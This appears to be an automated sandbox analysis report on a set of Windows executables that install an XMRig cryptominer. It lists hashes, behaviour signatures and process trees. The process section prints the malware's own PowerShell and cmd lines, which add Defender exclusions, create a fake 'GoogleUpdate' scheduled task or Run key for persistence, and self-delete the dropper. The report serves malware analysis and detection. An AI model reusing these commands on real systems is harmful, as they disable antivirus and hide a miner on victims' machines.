Overview
overview
10Static
static
3grhsghsGHs...y8.exe
windows7-x64
10grhsghsGHs...y8.exe
windows10-2004-x64
10grhsghsGHs...SE.exe
windows7-x64
10grhsghsGHs...SE.exe
windows10-2004-x64
10grhsghsGHs...CD.exe
windows7-x64
10grhsghsGHs...CD.exe
windows10-2004-x64
10grhsghsGHs...Da.exe
windows7-x64
10grhsghsGHs...Da.exe
windows10-2004-x64
10grhsghsGHs...wq.exe
windows7-x64
10grhsghsGHs...wq.exe
windows10-2004-x64
10grhsghsGHs...r7.exe
windows7-x64
10grhsghsGHs...r7.exe
windows10-2004-x64
10grhsghsGHs...XJ.exe
windows7-x64
10grhsghsGHs...XJ.exe
windows10-2004-x64
10grhsghsGHs...eg.exe
windows7-x64
10grhsghsGHs...eg.exe
windows10-2004-x64
10grhsghsGHs...5H.exe
windows7-x64
10grhsghsGHs...5H.exe
windows10-2004-x64
10grhsghsGHs...XN.exe
windows7-x64
10grhsghsGHs...XN.exe
windows10-2004-x64
10grhsghsGHs...T3.exe
windows7-x64
10grhsghsGHs...T3.exe
windows10-2004-x64
10grhsghsGHs...9r.exe
windows7-x64
10grhsghsGHs...9r.exe
windows10-2004-x64
10grhsghsGHs...GR.exe
windows7-x64
10grhsghsGHs...GR.exe
windows10-2004-x64
10grhsghsGHs...EX.exe
windows7-x64
10grhsghsGHs...EX.exe
windows10-2004-x64
10grhsghsGHs...EA.exe
windows7-x64
10grhsghsGHs...EA.exe
windows10-2004-x64
10grhsghsGHs...FB.exe
windows7-x64
10grhsghsGHs...FB.exe
windows10-2004-x64
10Resubmissions
25-01-2024 16:55
240125-vfcyksbhgr 1024-01-2024 17:15
240124-vstf4aecaj 1023-01-2024 19:27
240123-x6cfvagbd9 1023-01-2024 19:27
240123-x6bvbafgem 1023-01-2024 19:27
240123-x6bjjsgbd8 1023-01-2024 19:27
240123-x6ax1sfgek 1023-01-2024 19:27
240123-x6abgsfgej 1023-01-2024 19:27
240123-x591qagbd7 1023-01-2024 19:27
240123-x59d7agbd6 1023-01-2024 19:27
240123-x584esgbd5 10Analysis
-
max time kernel
1799s -
max time network
1785s -
platform
windows10-2004_x64 -
resource
win10v2004-20231215-en -
resource tags
arch:x64arch:x86image:win10v2004-20231215-enlocale:en-usos:windows10-2004-x64system -
submitted
23-01-2024 19:27
Static task
static1
Behavioral task
behavioral1
Sample
grhsghsGHswgh/3JynzWc6LxNCT2y8.exe
Resource
win7-20231215-en
Behavioral task
behavioral2
Sample
grhsghsGHswgh/3JynzWc6LxNCT2y8.exe
Resource
win10v2004-20231215-en
Behavioral task
behavioral3
Sample
grhsghsGHswgh/6aNn9vLJCQVfagSE.exe
Resource
win7-20231215-en
Behavioral task
behavioral4
Sample
grhsghsGHswgh/6aNn9vLJCQVfagSE.exe
Resource
win10v2004-20231215-en
Behavioral task
behavioral5
Sample
grhsghsGHswgh/6vHkJ4UErTSS5ECD.exe
Resource
win7-20231215-en
Behavioral task
behavioral6
Sample
grhsghsGHswgh/6vHkJ4UErTSS5ECD.exe
Resource
win10v2004-20231215-en
Behavioral task
behavioral7
Sample
grhsghsGHswgh/Be5sCbvuma2nkHDa.exe
Resource
win7-20231129-en
Behavioral task
behavioral8
Sample
grhsghsGHswgh/Be5sCbvuma2nkHDa.exe
Resource
win10v2004-20231215-en
Behavioral task
behavioral9
Sample
grhsghsGHswgh/DLKFnAGYJBNTnxwq.exe
Resource
win7-20231215-en
Behavioral task
behavioral10
Sample
grhsghsGHswgh/DLKFnAGYJBNTnxwq.exe
Resource
win10v2004-20231215-en
Behavioral task
behavioral11
Sample
grhsghsGHswgh/EtPLMpbCyFJpMJr7.exe
Resource
win7-20231215-en
Behavioral task
behavioral12
Sample
grhsghsGHswgh/EtPLMpbCyFJpMJr7.exe
Resource
win10v2004-20231215-en
Behavioral task
behavioral13
Sample
grhsghsGHswgh/Gu3PdXt79NF7EJXJ.exe
Resource
win7-20231215-en
Behavioral task
behavioral14
Sample
grhsghsGHswgh/Gu3PdXt79NF7EJXJ.exe
Resource
win10v2004-20231215-en
Behavioral task
behavioral15
Sample
grhsghsGHswgh/JqLvG94UkYjhxAeg.exe
Resource
win7-20231215-en
Behavioral task
behavioral16
Sample
grhsghsGHswgh/JqLvG94UkYjhxAeg.exe
Resource
win10v2004-20231215-en
Behavioral task
behavioral17
Sample
grhsghsGHswgh/LM3BR4UBmKBzBP5H.exe
Resource
win7-20231215-en
Behavioral task
behavioral18
Sample
grhsghsGHswgh/LM3BR4UBmKBzBP5H.exe
Resource
win10v2004-20231215-en
Behavioral task
behavioral19
Sample
grhsghsGHswgh/M8xUNW42QxTLMRXN.exe
Resource
win7-20231215-en
Behavioral task
behavioral20
Sample
grhsghsGHswgh/M8xUNW42QxTLMRXN.exe
Resource
win10v2004-20231215-en
Behavioral task
behavioral21
Sample
grhsghsGHswgh/Q5EUCWHU7pMYBfT3.exe
Resource
win7-20231215-en
Behavioral task
behavioral22
Sample
grhsghsGHswgh/Q5EUCWHU7pMYBfT3.exe
Resource
win10v2004-20231215-en
Behavioral task
behavioral23
Sample
grhsghsGHswgh/UMRsPGc4u9tycx9r.exe
Resource
win7-20231215-en
Behavioral task
behavioral24
Sample
grhsghsGHswgh/UMRsPGc4u9tycx9r.exe
Resource
win10v2004-20231215-en
Behavioral task
behavioral25
Sample
grhsghsGHswgh/UU4Ddwqm5zcuLzGR.exe
Resource
win7-20231215-en
Behavioral task
behavioral26
Sample
grhsghsGHswgh/UU4Ddwqm5zcuLzGR.exe
Resource
win10v2004-20231215-en
Behavioral task
behavioral27
Sample
grhsghsGHswgh/XJEzW6M7WvHaF3EX.exe
Resource
win7-20231215-en
Behavioral task
behavioral28
Sample
grhsghsGHswgh/XJEzW6M7WvHaF3EX.exe
Resource
win10v2004-20231215-en
Behavioral task
behavioral29
Sample
grhsghsGHswgh/Y2JYGshMHJGuGREA.exe
Resource
win7-20231215-en
Behavioral task
behavioral30
Sample
grhsghsGHswgh/Y2JYGshMHJGuGREA.exe
Resource
win10v2004-20231222-en
Behavioral task
behavioral31
Sample
grhsghsGHswgh/Yvdp8t5knpQz7sFB.exe
Resource
win7-20231129-en
General
-
Target
grhsghsGHswgh/3JynzWc6LxNCT2y8.exe
-
Size
2.0MB
-
MD5
a16a669a09bf158058b83e04e69fe38e
-
SHA1
f6c94763850d9e590d86057139e8895a7aacdeea
-
SHA256
cacc0261ccf7578ef5c1f9fdbe35705ad91070d020a4225e05cbf71a6103ac8e
-
SHA512
658b52ad1d27becee5b5bbd443d43da38b88d49880e72c8cb843f176a2d84d571b39c34dbc7cfb7ea56acc548acc5b68cce47a8bcf9d173feec031f7e33a09c6
-
SSDEEP
49152:rWVipAxqo5p88CbXuxWQiSJU320ZW21Q0YWAij64ane6szjmL/45:rxAEcp9ueXit9WAQ0YWuO
Malware Config
Signatures
-
Suspicious use of NtCreateUserProcessOtherParentProcess 9 IoCs
Processes:
3JynzWc6LxNCT2y8.exeupdater.execonhost.exedescription pid Process procid_target PID 4028 created 3428 4028 3JynzWc6LxNCT2y8.exe 40 PID 4028 created 3428 4028 3JynzWc6LxNCT2y8.exe 40 PID 4028 created 3428 4028 3JynzWc6LxNCT2y8.exe 40 PID 4028 created 3428 4028 3JynzWc6LxNCT2y8.exe 40 PID 4112 created 3428 4112 updater.exe 40 PID 4112 created 3428 4112 updater.exe 40 PID 4112 created 3428 4112 updater.exe 40 PID 1308 created 3428 1308 conhost.exe 40 PID 4112 created 3428 4112 updater.exe 40 -
XMRig Miner payload 31 IoCs
Processes:
resource yara_rule behavioral2/memory/3472-121-0x00007FF68CF20000-0x00007FF68D714000-memory.dmp xmrig behavioral2/memory/3472-127-0x00007FF68CF20000-0x00007FF68D714000-memory.dmp xmrig behavioral2/memory/3472-131-0x00007FF68CF20000-0x00007FF68D714000-memory.dmp xmrig behavioral2/memory/3472-132-0x00007FF68CF20000-0x00007FF68D714000-memory.dmp xmrig behavioral2/memory/3472-134-0x00007FF68CF20000-0x00007FF68D714000-memory.dmp xmrig behavioral2/memory/3472-137-0x00007FF68CF20000-0x00007FF68D714000-memory.dmp xmrig behavioral2/memory/3472-140-0x00007FF68CF20000-0x00007FF68D714000-memory.dmp xmrig behavioral2/memory/3472-142-0x00007FF68CF20000-0x00007FF68D714000-memory.dmp xmrig behavioral2/memory/3472-144-0x00007FF68CF20000-0x00007FF68D714000-memory.dmp xmrig behavioral2/memory/3472-146-0x00007FF68CF20000-0x00007FF68D714000-memory.dmp xmrig behavioral2/memory/3472-148-0x00007FF68CF20000-0x00007FF68D714000-memory.dmp xmrig behavioral2/memory/3472-150-0x00007FF68CF20000-0x00007FF68D714000-memory.dmp xmrig behavioral2/memory/3472-152-0x00007FF68CF20000-0x00007FF68D714000-memory.dmp xmrig behavioral2/memory/3472-154-0x00007FF68CF20000-0x00007FF68D714000-memory.dmp xmrig behavioral2/memory/3472-156-0x00007FF68CF20000-0x00007FF68D714000-memory.dmp xmrig behavioral2/memory/3472-158-0x00007FF68CF20000-0x00007FF68D714000-memory.dmp xmrig behavioral2/memory/3472-160-0x00007FF68CF20000-0x00007FF68D714000-memory.dmp xmrig behavioral2/memory/3472-162-0x00007FF68CF20000-0x00007FF68D714000-memory.dmp xmrig behavioral2/memory/3472-164-0x00007FF68CF20000-0x00007FF68D714000-memory.dmp xmrig behavioral2/memory/3472-166-0x00007FF68CF20000-0x00007FF68D714000-memory.dmp xmrig behavioral2/memory/3472-168-0x00007FF68CF20000-0x00007FF68D714000-memory.dmp xmrig behavioral2/memory/3472-170-0x00007FF68CF20000-0x00007FF68D714000-memory.dmp xmrig behavioral2/memory/3472-172-0x00007FF68CF20000-0x00007FF68D714000-memory.dmp xmrig behavioral2/memory/3472-174-0x00007FF68CF20000-0x00007FF68D714000-memory.dmp xmrig behavioral2/memory/3472-176-0x00007FF68CF20000-0x00007FF68D714000-memory.dmp xmrig behavioral2/memory/3472-178-0x00007FF68CF20000-0x00007FF68D714000-memory.dmp xmrig behavioral2/memory/3472-180-0x00007FF68CF20000-0x00007FF68D714000-memory.dmp xmrig behavioral2/memory/3472-182-0x00007FF68CF20000-0x00007FF68D714000-memory.dmp xmrig behavioral2/memory/3472-184-0x00007FF68CF20000-0x00007FF68D714000-memory.dmp xmrig behavioral2/memory/3472-186-0x00007FF68CF20000-0x00007FF68D714000-memory.dmp xmrig behavioral2/memory/3472-188-0x00007FF68CF20000-0x00007FF68D714000-memory.dmp xmrig -
Executes dropped EXE 1 IoCs
Processes:
updater.exepid Process 4112 updater.exe -
Processes:
resource yara_rule behavioral2/memory/3472-121-0x00007FF68CF20000-0x00007FF68D714000-memory.dmp upx behavioral2/memory/3472-127-0x00007FF68CF20000-0x00007FF68D714000-memory.dmp upx behavioral2/memory/3472-131-0x00007FF68CF20000-0x00007FF68D714000-memory.dmp upx behavioral2/memory/3472-132-0x00007FF68CF20000-0x00007FF68D714000-memory.dmp upx behavioral2/memory/3472-134-0x00007FF68CF20000-0x00007FF68D714000-memory.dmp upx behavioral2/memory/3472-137-0x00007FF68CF20000-0x00007FF68D714000-memory.dmp upx behavioral2/memory/3472-140-0x00007FF68CF20000-0x00007FF68D714000-memory.dmp upx behavioral2/memory/3472-142-0x00007FF68CF20000-0x00007FF68D714000-memory.dmp upx behavioral2/memory/3472-144-0x00007FF68CF20000-0x00007FF68D714000-memory.dmp upx behavioral2/memory/3472-146-0x00007FF68CF20000-0x00007FF68D714000-memory.dmp upx behavioral2/memory/3472-148-0x00007FF68CF20000-0x00007FF68D714000-memory.dmp upx behavioral2/memory/3472-150-0x00007FF68CF20000-0x00007FF68D714000-memory.dmp upx behavioral2/memory/3472-152-0x00007FF68CF20000-0x00007FF68D714000-memory.dmp upx behavioral2/memory/3472-154-0x00007FF68CF20000-0x00007FF68D714000-memory.dmp upx behavioral2/memory/3472-156-0x00007FF68CF20000-0x00007FF68D714000-memory.dmp upx behavioral2/memory/3472-158-0x00007FF68CF20000-0x00007FF68D714000-memory.dmp upx behavioral2/memory/3472-160-0x00007FF68CF20000-0x00007FF68D714000-memory.dmp upx behavioral2/memory/3472-162-0x00007FF68CF20000-0x00007FF68D714000-memory.dmp upx behavioral2/memory/3472-164-0x00007FF68CF20000-0x00007FF68D714000-memory.dmp upx behavioral2/memory/3472-166-0x00007FF68CF20000-0x00007FF68D714000-memory.dmp upx behavioral2/memory/3472-168-0x00007FF68CF20000-0x00007FF68D714000-memory.dmp upx behavioral2/memory/3472-170-0x00007FF68CF20000-0x00007FF68D714000-memory.dmp upx behavioral2/memory/3472-172-0x00007FF68CF20000-0x00007FF68D714000-memory.dmp upx behavioral2/memory/3472-174-0x00007FF68CF20000-0x00007FF68D714000-memory.dmp upx behavioral2/memory/3472-176-0x00007FF68CF20000-0x00007FF68D714000-memory.dmp upx behavioral2/memory/3472-178-0x00007FF68CF20000-0x00007FF68D714000-memory.dmp upx behavioral2/memory/3472-180-0x00007FF68CF20000-0x00007FF68D714000-memory.dmp upx behavioral2/memory/3472-182-0x00007FF68CF20000-0x00007FF68D714000-memory.dmp upx behavioral2/memory/3472-184-0x00007FF68CF20000-0x00007FF68D714000-memory.dmp upx behavioral2/memory/3472-186-0x00007FF68CF20000-0x00007FF68D714000-memory.dmp upx behavioral2/memory/3472-188-0x00007FF68CF20000-0x00007FF68D714000-memory.dmp upx -
Drops file in System32 directory 3 IoCs
Processes:
powershell.exepowershell.exedescription ioc Process File created C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive powershell.exe File created C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log powershell.exe File opened for modification C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive powershell.exe -
Suspicious use of SetThreadContext 2 IoCs
Processes:
updater.exedescription pid Process procid_target PID 4112 set thread context of 1308 4112 updater.exe 118 PID 4112 set thread context of 3472 4112 updater.exe 114 -
Drops file in Program Files directory 4 IoCs
Processes:
3JynzWc6LxNCT2y8.exeupdater.execmd.execmd.exedescription ioc Process File created C:\Program Files\Google\Chrome\updater.exe 3JynzWc6LxNCT2y8.exe File created C:\Program Files\Google\Libs\WR64.sys updater.exe File created C:\Program Files\Google\Libs\g.log cmd.exe File created C:\Program Files\Google\Libs\g.log cmd.exe -
Detects videocard installed 1 TTPs 1 IoCs
Uses WMIC.exe to determine videocard installed.
-
Modifies data under HKEY_USERS 64 IoCs
Processes:
powershell.exepowershell.exedescription ioc Process Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\CRLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\CTLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\CRLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\CRLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\CTLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\Certificates powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\Certificates powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\CRLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\CTLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\CRLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\CTLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\CRLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\Certificates powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\CRLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\CTLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\CRLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\CRLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\CRLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\Certificates powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\Certificates powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\Certificates powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\CRLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\Certificates powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\Certificates powershell.exe Set value (int) \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\UNCAsIntranet = "1" powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot powershell.exe Set value (int) \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\UNCAsIntranet = "1" powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\CTLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\CRLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\CTLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\Certificates powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\CRLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust powershell.exe Set value (int) \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\AutoDetect = "0" powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\CTLs powershell.exe Set value (int) \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\ProxyBypass = "1" powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\CRLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\CTLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\CTLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\CTLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\CRLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\Certificates powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\CTLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\Certificates powershell.exe Set value (int) \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\ProxyBypass = "1" powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\Certificates powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\CRLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\Certificates powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\CTLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\CTLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\Certificates powershell.exe -
Suspicious behavior: EnumeratesProcesses 31 IoCs
Processes:
3JynzWc6LxNCT2y8.exepowershell.exepowershell.exepowershell.exeupdater.exepowershell.exepowershell.execonhost.exepid Process 4028 3JynzWc6LxNCT2y8.exe 4028 3JynzWc6LxNCT2y8.exe 2184 powershell.exe 2184 powershell.exe 4028 3JynzWc6LxNCT2y8.exe 4028 3JynzWc6LxNCT2y8.exe 4256 powershell.exe 4256 powershell.exe 4028 3JynzWc6LxNCT2y8.exe 4028 3JynzWc6LxNCT2y8.exe 4028 3JynzWc6LxNCT2y8.exe 4028 3JynzWc6LxNCT2y8.exe 1264 powershell.exe 1264 powershell.exe 1264 powershell.exe 4112 updater.exe 4112 updater.exe 1124 powershell.exe 1124 powershell.exe 4112 updater.exe 4112 updater.exe 2032 powershell.exe 2032 powershell.exe 4112 updater.exe 4112 updater.exe 4112 updater.exe 4112 updater.exe 1308 conhost.exe 1308 conhost.exe 4112 updater.exe 4112 updater.exe -
Suspicious use of AdjustPrivilegeToken 64 IoCs
Processes:
powershell.exepowershell.exedescription pid Process Token: SeDebugPrivilege 2184 powershell.exe Token: SeDebugPrivilege 4256 powershell.exe Token: SeIncreaseQuotaPrivilege 4256 powershell.exe Token: SeSecurityPrivilege 4256 powershell.exe Token: SeTakeOwnershipPrivilege 4256 powershell.exe Token: SeLoadDriverPrivilege 4256 powershell.exe Token: SeSystemProfilePrivilege 4256 powershell.exe Token: SeSystemtimePrivilege 4256 powershell.exe Token: SeProfSingleProcessPrivilege 4256 powershell.exe Token: SeIncBasePriorityPrivilege 4256 powershell.exe Token: SeCreatePagefilePrivilege 4256 powershell.exe Token: SeBackupPrivilege 4256 powershell.exe Token: SeRestorePrivilege 4256 powershell.exe Token: SeShutdownPrivilege 4256 powershell.exe Token: SeDebugPrivilege 4256 powershell.exe Token: SeSystemEnvironmentPrivilege 4256 powershell.exe Token: SeRemoteShutdownPrivilege 4256 powershell.exe Token: SeUndockPrivilege 4256 powershell.exe Token: SeManageVolumePrivilege 4256 powershell.exe Token: 33 4256 powershell.exe Token: 34 4256 powershell.exe Token: 35 4256 powershell.exe Token: 36 4256 powershell.exe Token: SeIncreaseQuotaPrivilege 4256 powershell.exe Token: SeSecurityPrivilege 4256 powershell.exe Token: SeTakeOwnershipPrivilege 4256 powershell.exe Token: SeLoadDriverPrivilege 4256 powershell.exe Token: SeSystemProfilePrivilege 4256 powershell.exe Token: SeSystemtimePrivilege 4256 powershell.exe Token: SeProfSingleProcessPrivilege 4256 powershell.exe Token: SeIncBasePriorityPrivilege 4256 powershell.exe Token: SeCreatePagefilePrivilege 4256 powershell.exe Token: SeBackupPrivilege 4256 powershell.exe Token: SeRestorePrivilege 4256 powershell.exe Token: SeShutdownPrivilege 4256 powershell.exe Token: SeDebugPrivilege 4256 powershell.exe Token: SeSystemEnvironmentPrivilege 4256 powershell.exe Token: SeRemoteShutdownPrivilege 4256 powershell.exe Token: SeUndockPrivilege 4256 powershell.exe Token: SeManageVolumePrivilege 4256 powershell.exe Token: 33 4256 powershell.exe Token: 34 4256 powershell.exe Token: 35 4256 powershell.exe Token: 36 4256 powershell.exe Token: SeIncreaseQuotaPrivilege 4256 powershell.exe Token: SeSecurityPrivilege 4256 powershell.exe Token: SeTakeOwnershipPrivilege 4256 powershell.exe Token: SeLoadDriverPrivilege 4256 powershell.exe Token: SeSystemProfilePrivilege 4256 powershell.exe Token: SeSystemtimePrivilege 4256 powershell.exe Token: SeProfSingleProcessPrivilege 4256 powershell.exe Token: SeIncBasePriorityPrivilege 4256 powershell.exe Token: SeCreatePagefilePrivilege 4256 powershell.exe Token: SeBackupPrivilege 4256 powershell.exe Token: SeRestorePrivilege 4256 powershell.exe Token: SeShutdownPrivilege 4256 powershell.exe Token: SeDebugPrivilege 4256 powershell.exe Token: SeSystemEnvironmentPrivilege 4256 powershell.exe Token: SeRemoteShutdownPrivilege 4256 powershell.exe Token: SeUndockPrivilege 4256 powershell.exe Token: SeManageVolumePrivilege 4256 powershell.exe Token: 33 4256 powershell.exe Token: 34 4256 powershell.exe Token: 35 4256 powershell.exe -
Suspicious use of WriteProcessMemory 8 IoCs
Processes:
cmd.exepowershell.exeupdater.execmd.exedescription pid Process procid_target PID 2240 wrote to memory of 2156 2240 cmd.exe 101 PID 2240 wrote to memory of 2156 2240 cmd.exe 101 PID 1264 wrote to memory of 336 1264 powershell.exe 105 PID 1264 wrote to memory of 336 1264 powershell.exe 105 PID 4112 wrote to memory of 1308 4112 updater.exe 118 PID 4368 wrote to memory of 1936 4368 cmd.exe 112 PID 4368 wrote to memory of 1936 4368 cmd.exe 112 PID 4112 wrote to memory of 3472 4112 updater.exe 114 -
Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
Processes
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C:\Windows\Explorer.EXEC:\Windows\Explorer.EXE1⤵PID:3428
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C:\Users\Admin\AppData\Local\Temp\grhsghsGHswgh\3JynzWc6LxNCT2y8.exe"C:\Users\Admin\AppData\Local\Temp\grhsghsGHswgh\3JynzWc6LxNCT2y8.exe"2⤵
- Suspicious use of NtCreateUserProcessOtherParentProcess
- Drops file in Program Files directory
- Suspicious behavior: EnumeratesProcesses
PID:4028
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C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeC:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramFiles) -Force2⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:2184
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C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeC:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe <#wokgfo#> IF((New-Object Security.Principal.WindowsPrincipal([Security.Principal.WindowsIdentity]::GetCurrent())).IsInRole([Security.Principal.WindowsBuiltInRole]::Administrator)) { IF([System.Environment]::OSVersion.Version -lt [System.Version]"6.2") { schtasks /create /f /sc onlogon /rl highest /ru 'System' /tn 'GoogleUpdateTaskMachineQC' /tr '''C:\Program Files\Google\Chrome\updater.exe''' } Else { Register-ScheduledTask -Action (New-ScheduledTaskAction -Execute 'C:\Program Files\Google\Chrome\updater.exe') -Trigger (New-ScheduledTaskTrigger -AtStartup) -Settings (New-ScheduledTaskSettingsSet -AllowStartIfOnBatteries -DisallowHardTerminate -DontStopIfGoingOnBatteries -DontStopOnIdleEnd -ExecutionTimeLimit (New-TimeSpan -Days 1000)) -TaskName 'GoogleUpdateTaskMachineQC' -User 'System' -RunLevel 'Highest' -Force; } } Else { reg add "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v "GoogleUpdateTaskMachineQC" /t REG_SZ /f /d 'C:\Program Files\Google\Chrome\updater.exe' }2⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:4256
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C:\Windows\System32\cmd.exeC:\Windows\System32\cmd.exe /c choice /C Y /N /D Y /T 3 & Del "C:\Users\Admin\AppData\Local\Temp\grhsghsGHswgh\3JynzWc6LxNCT2y8.exe"2⤵
- Suspicious use of WriteProcessMemory
PID:2240
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C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeC:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe <#glbtb#> IF((New-Object Security.Principal.WindowsPrincipal([Security.Principal.WindowsIdentity]::GetCurrent())).IsInRole([Security.Principal.WindowsBuiltInRole]::Administrator)) { schtasks /run /tn "GoogleUpdateTaskMachineQC" } Else { "C:\Program Files\Google\Chrome\updater.exe" }2⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of WriteProcessMemory
PID:1264 -
C:\Windows\system32\schtasks.exe"C:\Windows\system32\schtasks.exe" /run /tn GoogleUpdateTaskMachineQC3⤵PID:336
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C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeC:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramFiles) -Force2⤵
- Drops file in System32 directory
